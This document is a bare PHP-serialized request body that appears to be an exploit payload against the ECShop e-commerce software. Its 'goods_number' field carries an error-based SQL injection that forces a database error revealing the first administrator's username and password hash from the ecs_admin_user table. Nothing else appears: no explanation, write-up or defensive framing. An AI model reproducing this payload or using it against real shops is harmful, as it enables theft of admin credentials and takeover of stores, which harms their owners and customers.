a:2:{s:12:"goods_number";a:1:{s:248:"1' and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #";s:1:"1";}s:6:"submit";s:3:"exp";}